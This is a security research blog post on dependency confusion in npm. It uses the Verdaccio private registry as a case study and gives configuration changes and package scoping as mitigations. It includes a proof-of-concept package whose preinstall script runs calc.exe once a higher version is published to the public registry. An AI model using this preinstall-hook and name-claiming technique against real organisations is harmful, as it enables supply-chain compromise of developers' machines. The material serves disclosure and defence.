Dependency Confusion: When Are Your npm Packages Vulnerable?

This post follows up on the recent blog post by Alex Birsan which highlighted serious problems with how some programming language package managers (npm, RubyGems, and Python’s pip) resolve and install dependencies. Alex described possible causes for pip and RubyGems, but the details regarding npm were a bit less clear so we sought to help our clients and the greater security & tech communities with the information below. In this post we’ll go beyond the tidbits of what’s been discussed thus far and get into the details of this type of attack in npm.

We’ll cover dependency confusion in npm and how to remediate this security concern in Verdaccio; the most popular self-hosted npm package indexes/registries based on stars on GitHub. In short, Verdaccio allows developers and organizations to host their own software packages to be included as dependencies in projects. This allows the organization to keep proprietary, non-public code on their own servers and only download public libraries when needed.

Here’s a quick summary for those that want to skip the technical details:

  • Dependency Confusion vulnerabilities within npm appear to be related to unsafe default behavior within private registry servers for internal packages (vs. within npm itself)
  • As an example, Verdaccio proxies to npmjs.org (the public registry) for updates to internally published packages, opening up developers using this registry to Dependency Confusion attacks
  • To mitigate security concerns related to dependency confusion for those using the Verdaccio self-hosted npm package index, IncludeSec has found that modifying the Verdaccio configuration so that no internal packages are proxied can mitigate risk (see example below). Other self-hosted npm registries should be reviewed to assess for similar behavior. Other examples of self-hosted private registries that we haven’t explored yet are cnpm, npm-register, and sinopia. Sinopia is the pre-fork origin of Verdaccio and likely has the same behaviors.
  • If you think you might be vulnerable to Dependency Confusion, Confused is an excellent tool for detecting unclaimed package names in your projects. Running it is as simple as pointing it to your local package.json:
C:\Users\nick\Documents\vuln-app>confused package.json
Issues found, the following packages are not available in public package repositories:
 [!] includesec-dependency-confusion

Note: The concept of dependency proxying is an expected default feature in Verdaccio and not considered to be a vulnerability by the package maintainer team. Verdaccio recommends reading the best practices guide and applying these mitigations prior to deploying the registry in your environment. That being said, IncludeSec always recommends secure-by-default configurations and “make it hard to shoot yourself in the foot” application behavior for Verdaccio and all software designs. For example: dangerouslySetInnerHTML() in React lets a tech team know they’re doing something that could be very wrong.

Dependency Confusion in npm

In the case of pip and RubyGems, one of the potential root causes was support for split package indexes. This causes the package manager to check both internal indexes as well as public ones, and install whichever package has the highest version number. This means an attacker can claim the package name on the public index if the organization has not yet done so and publish a malicious package with a high version number, causing the clients to install the malicious version when installing dependencies for a package. 

npm is notably different from pip and RubyGems, as there is no built-in support for split package indexes. When running npm install or npm update to install dependencies, only one registry is ever checked and used to download packages. So why is npm vulnerable to this attack? 

The answer is: npm itself isn’t, but a private package registry server might be!

Case Study: Verdaccio

Verdaccio is one example of a popular, open-source npm registry which organizations can use to self-host internal packages. Here we used Verdaccio as a case study to provide a specific real-world demonstration about this vulnerability and some ways to mitigate it. 

To create an example of this vulnerability, the following simple package was created and version 1.0.0 was published to a local Verdaccio instance:

{
    "name": "includesec-dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Below is the package.json file for a basic application that depends on the vulnerable package:

{
    "name": "vuln-app",
    "version": "1.0.0",
    "description": "A small app to demonstrate dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT",
    "dependencies": {
      "express": "^4.17.1",
      "includesec-dependency-confusion": "^1.0.0"
    }
  }

The ^ operator in the version number tells npm only to install versions compatible with 1.0.0, which means any version > 2.0.0 would be ignored when updating. This would prevent an attacker from exploiting this vulnerability by uploading a package with version 99.0.0, although version 1.99.0 would still work.

Now, when the dependencies are installed with npm install, Verdaccio checks for the package at https://registry.npmjs.org even if it’s hosted locally, as shown in the HTTP request and response below:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 404 Not Found
Date: Tue, 16 Feb 2021 14:38:39 GMT
Content-Type: application/json
Content-Length: 21
Connection: close
Age: 44
Vary: Accept-Encoding
Server: cloudflare

{"error":"Not found"}

This suggests that Verdaccio uses a split index approach to resolve package updates by default, even though the user’s local npm client doesn’t. To confirm this, the following malicious version of the package was published to the public npmjs registry:

{
    "name": "includesec-dependency-confusion",
    "version": "1.1.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "preinstall": "c:\\windows\\system32\\calc.exe"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

Note that this proof-of-concept uses a preinstall script to execute the payload, which will cause it to be executed even if the installation fails or the application is never actually run. Now when a client updates the dependencies with npm update or installs them with npm install, Verdaccio will check the public npmjs.org registry, download the latest (malicious) version of the package, and serve it to the user, causing the calculator payload to execute:

GET /includesec-dependency-confusion HTTP/1.1
Accept: application/json;
Accept-Encoding: gzip, deflate
User-Agent: npm (verdaccio/4.11.0)
Via: 1.1 066e918f09ad (Verdaccio)
host: registry.npmjs.org
Connection: close

HTTP/1.1 200 OK
Date: Tue, 16 Feb 2021 14:51:39 GMT
Content-Type: application/json
Connection: close

…

  "time":{
     "created":"2021-02-16T14:50:23.935Z",
     "1.1.0":"2021-02-16T14:50:24.067Z",
     "modified":"2021-02-16T14:50:27.035Z"
  },
  "maintainers":[
     {
        "name":"njf-include",
        "email":"nick.fox@includesecurity.com"
     }
  ],
  "description":"DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
  "author":{
     "name":"Nick Fox"
  },
  "license":"MIT",
  "readme":"ERROR: No README data found!",
  "readmeFilename":""
}

The following screenshot shows the malicious payload being executed on the client:

As shown above, the default behavior on Verdaccio (and likely other self-hosted npm registry solutions), is to proxy to the public npmjs registry for package updates, even if those packages are already hosted internally. The following snippet from the default configuration file confirms this:

https://github.com/verdaccio/verdaccio/blob/master/conf/default.yaml#L62

packages:

    ...
    
      '**':
        # allow all users (including non-authenticated users) to read and
        # publish all packages
        #
        # you can specify usernames/groupnames (depending on your auth plugin)
        # and three keywords: "$all", "$anonymous", "$authenticated"
        access: $all
    
        # allow all known users to publish/publish packages
        # (anyone can register by default, remember?)
        publish: $authenticated
        unpublish: $authenticated
    
        # if package is not available locally, proxy requests to 'npmjs' registry
        proxy: npmjs

The comment at the bottom might seem a bit misleading. This configuration causes Verdaccio to proxy requests to the npmjs registry for everything, even if the package is already published locally (as demonstrated above).

Mitigation on Verdaccio

So how can this be mitigated? The documentation provides an example configuration for disabling the npmjs proxy for specific packages:

https://verdaccio.org/docs/en/packages#blocking-proxying-a-set-of-specific-packages

packages:
    'jquery':
      access: $all
      publish: $all
    'my-company-*':
      access: $all
      publish: $authenticated
    '@my-local-scope/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

This configuration disables proxying for the “jquery”, “my-company-*”, and “@my-local-scope” packages and scopes, therefore mitigating dependency confusion vulnerabilities in those packages. Applying this to the proof-of-concept application, the following configuration will do:

packages:
    'includesec-dependency-confusion':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
  
  ...
  
    '**':
      access: $all
      publish: $authenticated
      unpublish: $authenticated
      proxy: npmjs

After making this change and restarting Verdaccio, the following HTTP request and response triggered by npm update show that only the correct, internal version 1.0.0 of the package is installed:

GET /includesec-dependency-confusion HTTP/1.1
npm-in-ci: false
user-agent: npm/7.5.1 node/v15.8.0 win32 x64
pacote-version: 11.2.4
pacote-req-type: packument
pacote-pkg-id: registry:includesec-dependency-confusion
accept: application/vnd.npm.install-v1+json; q=1.0, application/json; q=0.8, */*
npm-command: update
Connection: close
Accept-Encoding: gzip, deflate
Host: localhost:4873

HTTP/1.1 200 OK
X-Powered-By: verdaccio/4.11.0
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Date: Tue, 16 Feb 2021 15:29:20 GMT
Connection: close
Content-Length: 1267

{
  "name": "includesec-dependency-confusion",
  "versions": {
    "1.0.0": {
      "name": "includesec-dependency-confusion",
      "version": "1.0.0",
      "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
      "main": "index.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1"
      },

     … 

  "dist-tags": {
    "latest": "1.0.0"
  },
  "_rev": "3-dc1db45b944128de",
  "_id": "includesec-dependency-confusion",
  "readme": "ERROR: No README data found!",
  "_attachments": {}
}

Additional Mitigation Steps

This post from GitHub breaks down the steps needed to mitigate Dependency Confusion vulnerabilities, and modifying the Verdaccio configuration as we’ve shown in this post handles one of their guidance steps: Step 3 – Take care when proxying. Ensuring all internal packages are scoped also helps mitigate these attacks. Scoped packages are those prefixed with @username — only the registry user with that username is allowed to publish packages under that scope, so an attacker would have to compromise that npmjs.org registry account in order to claim packages. Below is an example of a scoped package:

{
    "name": "@includesec/dependency-confusion",
    "version": "1.0.0",
    "description": "DO NOT USE -- proof of concept for dependency confusion vulnerabilities",
    "main": "index.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "Nick Fox",
    "license": "MIT"
}

When using Verdaccio, this also has the benefit of making it easy to disable proxying for all packages within your organization’s scope, instead of having to declare each package separately.

packages:
    '@includesec/*':
      access: $all
      publish: $authenticated
    '**':
      access: $all
      publish: $authenticated
      proxy: npmjs

See this whitepaper from Microsoft (Secure Your Hybrid Software Supply Chain) for information about other possible mitigations.

Summary

This post explores one potential root cause of Dependency Confusion vulnerabilities within the npm ecosystem–that is, unsafe default behavior within the private registry server being used. For example, Verdaccio proxies to npmjs.org for updates to internally published packages by default, which opens up developers to Dependency Confusion attacks when internal package names have not been claimed on the public registry.

To mitigate this issue, IncludeSec recommends modifying the Verdaccio configuration so that no internal packages are proxied. Other self-hosted npm registries should be reviewed to ensure similar behavior.

Additionally, internal packages should be scoped to make it more difficult for an adversary to claim the package names on public registries.

Also stay tuned; we’ll probably update this post soon with a v2 of how to integrate the “confused” tool into a CI/CD pipeline!

Leave a Reply

%d bloggers like this: